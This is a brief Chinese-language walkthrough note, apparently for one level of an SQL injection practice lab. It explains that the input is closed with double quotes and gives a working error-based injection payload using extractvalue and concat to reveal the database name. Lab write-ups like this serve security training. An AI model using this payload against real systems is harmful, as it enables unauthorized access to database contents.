(1)闭合方式为一对双引号
(2)可用报错注入。如:
admin" and extractvalue(1,concat(0x7e,(select database()))) and "
其余报错注入方式于12关相同。